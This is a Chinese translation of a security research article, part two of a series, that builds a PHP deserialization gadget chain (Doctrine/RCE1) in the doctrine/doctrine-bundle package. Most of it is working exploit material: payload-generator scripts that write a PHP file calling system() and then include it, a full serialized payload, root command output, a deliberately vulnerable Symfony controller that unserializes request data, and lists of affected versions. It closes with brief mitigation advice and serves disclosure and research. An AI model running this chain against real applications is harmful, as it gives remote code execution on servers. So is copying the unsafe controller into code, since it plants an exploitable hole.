1

在通用 Symfony 包中寻找 POP 链(下)

 7 months ago
source link: https://paper.seebug.org/3070/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

在通用 Symfony 包中寻找 POP 链(下)

1小时之前2023年11月08日经验心得

原文链接:FINDING A POP CHAIN ON A COMMON SYMFONY BUNDLE : PART 2
译者:知道创宇404实验室翻译组

Symfony doctrine/doctrine-bundle 是安装在 Symfony应用程序中最常见的包之一。截止本文发布时,它已被下载1.44 亿次,使其成为一个有趣的反序列化利用目标。

POP 链使用的所有代码已在《在通用 Symfony 包中寻找 POP 链(上)》中详细介绍,本文将详细介绍上一章节中提到的如何用已分析的代码构建有效的POP链以及如何构建我们的有效负载,该POP链目前已经作为Doctrine/RCE1提交到phpggc中。

serialize.php文件用于生成有效负载,模板如下所示:

<?php

namespace <namespace_name_from_vendor>
{
    [...]
}
[...]

namespace PopChain
{
use <class_name_from_vendor>;

$obj =<class_name_from_vendor>();
[...]

$serialized = serialize($obj);
echo serialize($obj);
}

unserialize.php文件用于测试反序列化。在这种情况下,包含来自doctrine/doctrine-bundle包的依赖项。

<?php

include "vendor/autoload.php";
unserialize('<serizalized_data_to_test>');

这些doctrine-bundle包是通过 Composer 安装的。

$ composer require doctrine/doctrine-bundle
./composer.json has been ,
Running composer update doctrine/doctrine-bundle
Loading composer repositories with package information
Updating dependencies
Nothing to modify in lock file
Installing dependencies from lock file (including require-dev)
Package operations: 35 installs, 0 updates, 0 removals
[...]

访问CacheAdapter

让我们看看反序列化CacheAdapter对象会发生什么。

<?php

namespace Doctrine\Common\Cache\Psr6
{
    class CacheAdapter
    {
    }
}

namespace PopChain
{
use Doctrine\Common\Cache\Psr6\CacheAdapter;

$obj = new CacheAdapter();

$serialized = serialize($obj);
echo serialize($obj);
}
$ php unserialize.php

因为commit函数中的所有逻辑都依赖于 defferedItems属性,初始情况下不会有任何反应。如果未定义该属性,代码将简单地返回true。

<?php

namespace Doctrine\Common\Cache\Psr6;

final class CacheAdapter implements CacheItemPoolInterface
{
    /** @var Cache */
    private $cache;

    /** @var array<CacheItem|TypedCacheItem> */
    private $deferredItems = [];
    [...]
    public function commit(): bool
    {
        if (! $this->deferredItems) {
            return true;
        }
        [...]
    }
}

通过将defferedItems设置为空数组,我们得到以下错误消息,这意味着我们确实到达了该commit函数。

$ php unserialize.php 

Fatal error: Uncaught TypeError: Doctrine\Common\Cache\Psr6\CacheAdapter::commit(): Return value must be of type bool, null returned in /tmp/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php:235
Stack trace:
#0 /tmp/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php(248): Doctrine\Common\Cache\Psr6\CacheAdapter->commit()
#1 /tmp/unserialize.php(4): Doctrine\Common\Cache\Psr6\CacheAdapter->__destruct()
#2 {main}
  thrown in /tmp/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php on line 235
访问提交

到达commit 函数中的foreach 循环

为了在代码中继续执行,必须设置至少一个deferredItem。 根据代码中定义的PHP注释,它应该是一个CacheItemTypedCacheItem,本文后续将解释这种差异(参见PHP 版本差异)。因此,在TypedCacheItem数组中添加了 deferredItems

正如我们在foreach循环中看到的,因为在expiry上进行了检查,因此我们的TypedCacheItem必须定义一个expiry属性。在循环内部,value还将对其进行检查。

<?php

namespace Doctrine\Common\Cache\Psr6;

[...]

final class TypedCacheItem implements CacheItemInterface
{
    private ?float $expiry = null;

    public function get(): mixed
    {
        return $this->value;
    }

    public function getExpiry(): ?float
    {
        return $this->expiry;
    }
}

deferredItem expiry值导致两种不同的可能性。如果当前时间戳小于deferredItem expiry,则进入save方法。

<?php

namespace Doctrine\Common\Cache\Psr6
{
    class CacheAdapter
    {
        public $deferredItems = true;
    }
    class TypedCacheItem
    {
        public $expiry = 99999999999999999;
        public $value = "test";
    }

}

namespace PopChain
{
use Doctrine\Common\Cache\Psr6\CacheAdapter;

$obj = new CacheAdapter();

$obj->deferredItems = [new TypedCacheItem()];
echo serialize($obj);
}
$ php unserialize.php

Fatal error: Uncaught Error: Call to a member function save() on null in /tmp/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php:235
Stack trace:
#0 /tmp/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php(248): Doctrine\Common\Cache\Psr6\CacheAdapter->commit()
#1 /tmp/unserialize.php(4): Doctrine\Common\Cache\Psr6\CacheAdapter->__destruct()
#2 {main}
  thrown in /tmp/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php on line 235

如果当前时间戳大于deferredItemexpiry,则进入delete方法。

<?php

namespace Doctrine\Common\Cache\Psr6
{
    class CacheAdapter
    {
        public $deferredItems = true;
    }
    class TypedCacheItem
    {
        public $expiry = 1;
        public $value = "test";
    }

}

namespace PopChain
{

use Doctrine\Common\Cache\Psr6\CacheAdapter;
use Doctrine\Common\Cache\Psr6\TypedCacheItem;

$obj = new CacheAdapter();

$obj->deferredItems = [new TypedCacheItem()];
echo serialize($obj);
}
$ php unserialize.php 

Fatal error: Uncaught Error: Call to a member function delete() on null in /tmp/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php:227
Stack trace:
#0 /tmp/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php(248): Doctrine\Common\Cache\Psr6\CacheAdapter->commit()
#1 /tmp/unserialize.php(4): Doctrine\Common\Cache\Psr6\CacheAdapter->__destruct()
#2 {main}
  thrown in /tmp/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php on line 227
到达删除或保存

达到删除或保存功能

该 POP 链的第一个目标是在文件系统中写入一个文件。为此,我们需要调用MockFileSessionStoragesave函数。

save方法将在CacheAdapter对象的cache属性上调用。在我们的文件中进行定义后,MockFileSessionStorage发生了异常。

<?php

namespace Doctrine\Common\Cache\Psr6
{
    class CacheAdapter
    {
        public $deferredItems = true;
    }
    class TypedCacheItem
    {
        public $expiry = 99999999999999999;
        public $value = "test";
    }

}

namespace Symfony\Component\HttpFoundation\Session\Storage
{
    class MockFileSessionStorage
    {
    }
}

namespace PopChain
{

use Doctrine\Common\Cache\Psr6\CacheAdapter;
use Doctrine\Common\Cache\Psr6\TypedCacheItem;
use Symfony\Component\HttpFoundation\Session\Storage\MockFileSessionStorage;

$obj = new CacheAdapter();
$obj->cache = new MockFileSessionStorage();
$obj->deferredItems = [new TypedCacheItem()];
echo serialize($obj);
}
$ php unserialize.php 

Fatal error: Uncaught RuntimeException: Trying to save a session that was not started yet or was already closed. in /tmp/vendor/symfony/http-foundation/Session/Storage/MockFileSessionStorage.php:79
Stack trace:
#0 /tmp/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php(235): Symfony\Component\HttpFoundation\Session\Storage\MockFileSessionStorage->save(0, 'test', 99999998326133680)
#1 /tmp/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php(248): Doctrine\Common\Cache\Psr6\CacheAdapter->commit()
#2 /tmp/unserialize.php(4): Doctrine\Common\Cache\Psr6\CacheAdapter->__destruct()
#3 {main}
  thrown in /tmp/vendor/symfony/http-foundation/Session/Storage/MockFileSessionStorage.php on line 79
模拟文件会话存储到达

从MockFileSessionStorage 函数触发的异常

快速分析一下该save函数。如果started没有定义该属性,就会触发前面的异常,所以需要将其设置为trueMetadataBag对象还必须使用storageKey属性来定义。

$ find . -name '*MetadataBag*'
./vendor/symfony/http-foundation/Session/Storage/MetadataBag.php

$ cat ./vendor/symfony/http-foundation/Session/Storage/MetadataBag.php | grep getStorageKey -A 3
    public function getStorageKey(): string
    {
        return $this->storageKey;
    }

最后,需要向MockFileSessionStorage对象添加以下属性:

  • savePath:在其中创建文件的路径
  • id将附加mocksess扩展的文件名
  • data:将生成文件内容,这里将包含我们要在服务器上执行的PHP代码
<?php

namespace Doctrine\Common\Cache\Psr6
{
    class CacheAdapter
    {
        public $deferredItems = true;
    }
    class TypedCacheItem
    {
        public $expiry = 99999999999999999;
        public $value = "test";
    }

}

namespace Symfony\Component\HttpFoundation\Session\Storage
{
    class MockFileSessionStorage
    {
        public $started = true;
        public $savePath = "/tmp"; // Produces /tmp/aaa.mocksess
        public $id = "aaa";
        public $data = ['<?php system("id"); phpinfo(); ?>'];
    }

    class MetadataBag
    {
       public $storageKey = "a";
    }
}

namespace PopChain
{
use Doctrine\Common\Cache\Psr6\CacheAdapter;
use Doctrine\Common\Cache\Psr6\TypedCacheItem;
use Symfony\Component\HttpFoundation\Session\Storage\MockFileSessionStorage;
use Symfony\Component\HttpFoundation\Session\Storage\MetadataBag;

$obj = new CacheAdapter();
$obj->deferredItems = [new TypedCacheItem()];
$mockSessionStorage = new MockFileSessionStorage();
$mockSessionStorage->metadataBag = new MetadataBag();
$obj->cache =$mockSessionStorage;

echo serialize($obj);
}

如以下 bash 代码片段所示,在反序列化有效负载之后,服务器上会生成aaa.mocksess文件。由于我们已成功在一个可控制的路径上创建了一个文件,因此成功地触发注入代码作为PHP代码执行。

$ php unserialize.php 

Fatal error: Uncaught TypeError: Doctrine\Common\Cache\Psr6\CacheAdapter::commit(): Return value must be of type bool, null returned in /tmp/poc/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php:235
Stack trace:
#0 /tmp/poc/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php(248): Doctrine\Common\Cache\Psr6\CacheAdapter->commit()
#1 /tmp/poc/unserialize.php(4): Doctrine\Common\Cache\Psr6\CacheAdapter->__destruct()
#2 {main}
  thrown in /tmp/poc/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php on line 235
$ ls -l /tmp/aaa.mocksess 
-rw-r--r-- 1 root root 51 Feb 13 15:05 /tmp/aaa.mocksess
$ php /tmp/aaa.mocksess 
a:1:{i:0;s:33:"uid=0(root) gid=0(root) groups=0(root)
phpinfo()
PHP Version => 8.1.15

下面的代码能到达前面所说PhpArrayAdapterinitialize函数。

<?php

namespace Doctrine\Common\Cache\Psr6
{
    class CacheAdapter
    {
        public $deferredItems = true;
    }
    class TypedCacheItem
    {
        public $expiry = 1;
        public $value = "test";
    }

}

namespace Symfony\Component\Cache\Adapter
{
    class PhpArrayAdapter
    {
    }
}

namespace PopChain
{
use Doctrine\Common\Cache\Psr6\CacheAdapter;
use Doctrine\Common\Cache\Psr6\TypedCacheItem;
use Symfony\Component\Cache\Adapter\PhpArrayAdapter;

$obj = new CacheAdapter();
$obj->cache = new PhpArrayAdapter();

$obj->deferredItems = [new TypedCacheItem()];
echo serialize($obj);
}

如果对象没有任何定义,那么可以成功地达到该函数,如下面的输出所示。

$ php unserialize.php 

Deprecated: is_file(): Passing null to parameter #1 ($filename) of type string is deprecated in /tmp/poc/vendor/symfony/cache/Adapter/PhpArrayAdapter.php on line 391

Fatal error: Uncaught Error: Call to a member function deleteItem() on null in /tmp/poc/vendor/symfony/cache/Adapter/PhpArrayAdapter.php:196
Stack trace:
#0 /tmp/poc/vendor/symfony/cache-contracts/CacheTrait.php(43): Symfony\Component\Cache\Adapter\PhpArrayAdapter->deleteItem('0')
#1 /tmp/poc/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php(227): Symfony\Component\Cache\Adapter\PhpArrayAdapter->delete('0')
#2 /tmp/poc/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php(248): Doctrine\Common\Cache\Psr6\CacheAdapter->commit()
#3 /tmp/poc/unserialize.php(4): Doctrine\Common\Cache\Psr6\CacheAdapter->__destruct()
#4 {main}
  thrown in /tmp/poc/vendor/symfony/cache/Adapter/PhpArrayAdapter.php on line 196
文件包含步骤中的错误

从 PhpArrayAdapter 定义到达的代码

实现文件包含的最后一步是为file属性定义一个值。下面的POP链的目标是执行我们之前生成的/tmp/aaa.mocksess文件中定义的代码。

<?php

namespace Doctrine\Common\Cache\Psr6
{
    class CacheAdapter
    {
        public $deferredItems = true;
    }
    class TypedCacheItem
    {
        public $expiry = 1;
        public $value = "test";
    }

}

namespace Symfony\Component\Cache\Adapter
{
    class PhpArrayAdapter
    {
        public $file = "/tmp/aaa.mocksess"; // fixed at the time
    }
}

namespace PopChain
{

use Doctrine\Common\Cache\Psr6\CacheAdapter;
use Doctrine\Common\Cache\Psr6\TypedCacheItem;
use Symfony\Component\Cache\Adapter\PhpArrayAdapter;

$obj = new CacheAdapter();
$obj->cache = new PhpArrayAdapter();

$obj->deferredItems = [new TypedCacheItem()];
echo serialize($obj);
}

正如我们在反序列化时所看到的,POP链成功地达到了require代码。我们先前写入/tmp/aaa.mocksess的PHP代码得到了执行,从而在系统上触发了代码执行。

$ php unserialize.php 
a:1:{i:0;s:33:"uid=0(root) gid=0(root) groups=0(root)
phpinfo()
PHP Version => 8.1.15

System => Linux 184f5674e38c 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64
Build Date => Feb  9 2023 08:04:45

两链协调运行

现在我们已经看到如何生成这两个链条,但还有一些细节需要讨论。事实上,通过第一次触发文件写入,然后触发文件包含,这些链可以很好地协同工作,但也可以在一个反序列化中同时触发它们。

快速析构使用

由于POP链由两条链组成,因此必须使用快速析构来强制执行它们两个的调用。

快速析构是一种用于在反序列化后立即触发destruct()函数的调用的方法。由于我们完全控制了反序列化字符串中定义的对象,因此可以创建异常状态,例如在数组中两次定义相同的索引。这将立即触发destruct()对象的调用。下面的示例中,快速析构将在\Namespace\Object1\Namespace\Object2上调用,但不会在\Namespace\Object3上调用。表示快速析构定义的图示。

快速破坏示例

快速析构定义

在我们的 POP 链中,因为我们正在使用基于destruct()定义的两个不同的链条,因此快速析构是必需的。

PHP版本差异

最后一点必须讨论:PHP 版本对于这个 POP 链很重要。

所有的演示都是在兼容TypedCacheItem的 PHP 8版本上进行的。但因为TypedCacheItem与 PHP 7程序不兼容,所以之前的POP链上都会从CacheAdapter上抛出错误。

$ php unserialize.php 
Parse error: syntax error, unexpected 'private' (T_PRIVATE), expecting variable (T_VARIABLE) in /tmp/poc/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/TypedCacheItem.php on line 24

再次强调,类型定义在这里是一个问题。正如前文所述,defferedItems有两个可能的值:TypedCacheItemCacheItemCacheItem在PHP 7及以下版本中应使用CacheItem。

如果从PHP 8安装doctrine/doctrine-bundle项目,则在使用TypedCacheItem时将触发以下兼容性问题。

$ php unserialize.php 
Fatal error: Declaration of Doctrine\Common\Cache\Psr6\CacheItem::get() must be compatible with Psr\Cache\CacheItemInterface::get(): mixed in /tmp/poc/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheItem.php on line 51

因此,POP 链必须根据目标 PHP 版本进行调整。

在考虑完所有最后步骤后,我们serialize.php文件的最终版本如下所示:

<?php

/* Entrypoint of the POPchain */
namespace Doctrine\Common\Cache\Psr6
{
    class CacheAdapter
    {
        public $deferredItems = true;
    }
    class CacheItem
    {
        public $expiry = 99999999999999999;
        public $value = "test";
    }

    class TypedCacheItem
    {
        public $expiry = 99999999999999999;
        public $value = "test";
    }

}

/* File write objects */
namespace Symfony\Component\HttpFoundation\Session\Storage
{
    class MockFileSessionStorage
    {
        public $started = true;
        public $savePath = "/tmp"; // Produces /tmp/aaa.mocksess
        public $id = "aaa"; // File name
        public $data = ['<?php echo "I was TRIGGERED"; system("id"); ?>']; // PHP code executed
    }

    class MetadataBag
    {
        public $storageKey = "a";
    }
}

/* File inclusion objects */
namespace Symfony\Component\Cache\Adapter
{
    class PhpArrayAdapter
    {
        public $file = "/tmp/aaa.mocksess"; // fixed at the time
    }
}


namespace PopChain
{
use Doctrine\Common\Cache\Psr6\CacheAdapter;
use Doctrine\Common\Cache\Psr6\TypedCacheItem;
use Symfony\Component\HttpFoundation\Session\Storage\MockFileSessionStorage;
use Symfony\Component\HttpFoundation\Session\Storage\MetadataBag;
use Symfony\Component\Cache\Adapter\PhpArrayAdapter;


/* CacheItem is compatible with PHP 7.*, TypedCacheItem is compatible with PHP 8.* */
if (preg_match('/^7/', phpversion()))
{
    $firstCacheItem = new CacheItem();
    $secondCacheItem = new CacheItem();
} 
else 
{
    $firstCacheItem = new TypedCacheItem();
    $secondCacheItem = new TypedCacheItem();
}

/* File write */
$obj_write = new CacheAdapter();
$obj_write->deferredItems = [$firstCacheItem];
$mockSessionStorage = new MockFileSessionStorage();
$mockSessionStorage->metadataBag = new MetadataBag();
$obj_write->cache =$mockSessionStorage;

/* File inclusion */
$obj_include = new CacheAdapter();
$obj_include->cache = new PhpArrayAdapter();
$secondCacheItem->expiry = 0; // mandatory to go to another branch from CacheAdapter __destruct
$obj_include->deferredItems = [$secondCacheItem];


$obj = [1000 => $obj_write, 1001 => 1, 2000 => $obj_include, 2001 => 1];

$serialized_string = serialize($obj);
// Setting the indexes for fast destruct
$find_write = (
    '#i:(' .
        1001 . '|' .
        (1001 + 1) .
    ');#'
);
$replace_write = 'i:' . 1000 . ';';
$serialized_string2 = preg_replace($find_write, $replace_write, $serialized_string);
$find_include = (
    '#i:(' .
        2001 . '|' .
        (2001 + 1) .
    ');#'
);
$replace_include = 'i:' . 2000 . ';';
echo preg_replace($find_include, $replace_include, $serialized_string2);
}

它将运营两个 POP 链以此在系统上获得代码执行权限。

$ php unserialize.php 
a:1:{i:0;s:46:"I was TRIGGEREDuid=0(root) gid=0(root) groups=0(root)
";}
Fatal error: Uncaught TypeError: Doctrine\Common\Cache\Psr6\CacheAdapter::commit(): Return value must be of type bool, null returned in /tmp/poc/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php:235
[...]

完整的链已经推送到了phpggc项目上,该项目基是寻找公开披露的 POP 链时的参考项目。

使用 phpggc 生成本文的 POP 链非常简单:

$ phpggc Doctrine/rce1 'system("id");'          
a:4:{i:1000;O:39:"Doctrine\Common\Cache\Psr6\CacheAdapter":3:{s:13:"deferredItems";a:1:{i:0;O:41:"Doctrine\Common\Cache\Psr6\TypedCacheItem":2:{s:6:"expiry";i:99999999999999999;s:5:"value";s:4:"test";}}s:6:"loader";i:1;s:5:"cache";O:71:"Symfony\Component\HttpFoundation\Session\Storage\MockFileSessionStorage":5:{s:7:"started";b:1;s:8:"savePath";s:4:"/tmp";s:2:"id";s:3:"aaa";s:4:"data";a:1:{i:0;s:22:"<?php system("id"); ?>";}s:11:"metadataBag";O:60:"Symfony\Component\HttpFoundation\Session\Storage\MetadataBag":1:{s:10:"storageKey";s:1:"a";}}}i:1000;i:1;i:2000;O:39:"Doctrine\Common\Cache\Psr6\CacheAdapter":3:{s:13:"deferredItems";a:1:{i:0;O:41:"Doctrine\Common\Cache\Psr6\TypedCacheItem":2:{s:6:"expiry";i:0;s:5:"value";s:4:"test";}}s:6:"loader";i:1;s:5:"cache";O:44:"Symfony\Component\Cache\Adapter\ProxyAdapter":1:{s:4:"pool";O:47:"Symfony\Component\Cache\Adapter\PhpArrayAdapter":1:{s:4:"file";s:17:"/tmp/aaa.mocksess";}}}i:2000;i:1;}

此时,doctrine/doctrine-bundle自 1.5.1 版本以来该软件包的所有版本都会受到影响。

更多细节可以在以下phpggc拉取请求中找到。

演示:利用一个基于Symfony的应用程序

如果要设置环境,需要创建一个Symfony应用程序,并安装环境。在现实生活中,只要Symfony应用程序使用doctrine作为其ORM,就会安装doctrine/doctrine-bundle

为证明此概念,此项目已在以下环境中进行了设置,可以通过运行这些命令进行复现。

$ docker run -it -p 8000:80 php:8.1-apache /bin/bash        
$ apt update && apt install wget git unzip libzip-dev
$ wget https://getcomposer.org/installer -O composer-setup.php
$ php composer-setup.php
$ mv composer.phar /usr/local/bin/composer
$ a2enmod rewrite
$ cd /var/www
$ composer create-project symfony/skeleton:"6.2.*" html
$ composer require symfony/maker-bundle --dev
$ php bin/console make:controller UnserializeController
$ composer require symfony/apache-pack
$ composer require doctrine/orm
$ composer require doctrine/doctrine-bundle
$ cat config/routes.yaml 
controllers:
    resource:
        path: ../src/Controller/
        namespace: App\Controller
    type: annotation
$ cat /etc/apache2/sites-enabled/000-default.conf
<VirtualHost *:80>
[...]
        ServerAdmin webmaster@localhost
        DocumentRoot /var/www/html/public
[...]
$ service apache2 start

设置完成后,应该能够到达以下页面。而Symfony应用程序必须安装doctrine/doctrine-bundle

symfony_安装程序

Symfony 6.3.3 应用程序的默认安装页面

UnserializeController类允许用户发送一个经过base64编码的序列化链条来进行反序列化。

<?php

namespace App\Controller;

use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\JsonResponse;
use Symfony\Component\Routing\Annotation\Route;

class UnserializeController extends AbstractController
{
    #[Route('/unserialize')]
    public function index(): JsonResponse
    {
    if (isset($_GET['data'])){
            unserialize(base64_decode($_GET['data']));
    }
        return $this->json([
            'message' => 'Please send the data you want to unserialize with data param'
        ]);
    }
}

最后,对易受攻击的控制器的链条利用演示如下。注意:Symfony应用程序和phpggc需要在PHP 8.1.22上进行运行。

poc_popchain

利用POP链对易受攻击的Symfony控制器的演示

doctrine/doctrine-bundle受影响版本

为了测试POP链的有效性,使用了phpggc的 test-gc-compatibility.py脚本。

POP链可以在以下版本的PHP 8上利用,测试在PHP 8.1.22上运行。可以使用以下命令列出受影响的版本:

$ python3 test-gc-compatibility.py doctrine/doctrine-bundle doctrine/RCE1
Running on PHP version PHP 8.1.22 (cli) (built: Feb 11 2023 10:43:39) (NTS).
Testing 136 versions for doctrine/doctrine-bundle against 1 gadget chains.

┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━━┓
┃ doctrine/doctrine-bundle                 ┃ Package ┃ doctrine/RCE1 ┃
┡━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━━┩
│ 2.11.x-dev                               │   OK    │      OK       │
│ 2.10.x-dev                               │   OK    │      OK       │
│ 2.10.2                                   │   OK    │      OK       │
│ 2.10.1                                   │   OK    │      OK       │
│ 2.10.0                                   │   OK    │      OK       │
│ 2.9.x-dev                                │   OK    │      OK       │
│ 2.9.2                                    │   OK    │      OK       │
[...]
│ 1.12.x-dev                               │   OK    │      OK       │
│ 1.12.13                                  │   OK    │      OK       │
│ 1.12.12                                  │   OK    │      OK       │
│ 1.12.11                                  │   OK    │      OK       │
│ 1.12.10                                  │   OK    │      OK       │
[...]
│ 1.6.x-dev                                │   OK    │      OK       │
│ 1.6.13                                   │   OK    │      OK       │
│ 1.6.12                                   │   OK    │      OK       │
│ 1.6.11                                   │   OK    │      OK       │
[...]
│ v1.0.0                                   │   OK    │      KO       │
│ v1.0.0-RC1                               │   OK    │      KO       │
│ v1.0.0-beta1                             │   KO    │       -       │
│ dev-2.10.x-merge-up-into-2.11.x_IKPBtWeg │   OK    │      OK       │
│ dev-symfony-7                            │   OK    │      OK       │
└──────────────────────────────────────────┴─────────┴───────────────┘

POP 链也适用于 PHP 7,可以在phpggc pull request找到易受攻击的包。

受影响的项目

话虽这么说,这个技巧本身并不是一个漏洞,只要用户提供的数据被发送到任何使用受影响版本doctrine/doctrine-bundle包的反序列化函数中,就可以使用这个POP链。

要修补unserialize问题,可以使用allowed_classes参数来使用有效类的白名单。然而,建议使用更安全的函数来处理用户数据,例如json_encode,并从这种编码中重新创建对象。

我们认为分享完整的研究过程可能会很有趣,因为这个 POP 链涉及几个反序列化技巧。虽然这种方法可能不是最优的,但它给出了一个总体逻辑,即用于识别POP链以及如何入门的思路。

在撰写本文时,Doctrine/RCE1 链中简化了一些不必要的步骤。可以在phpggc查看项目详细信息。

使用 PHP 调试器(例如xdebug)将大大提高此过程的速度。本文认为,利用漏洞并不总是必须使用精美的工具,只需要了解正在处理的内容以及目标是什么。即使 POP 链本身无法被利用,寻找它们也是了解 PHP 代码如何深入解释的一个很好的练习。


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/3070/


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK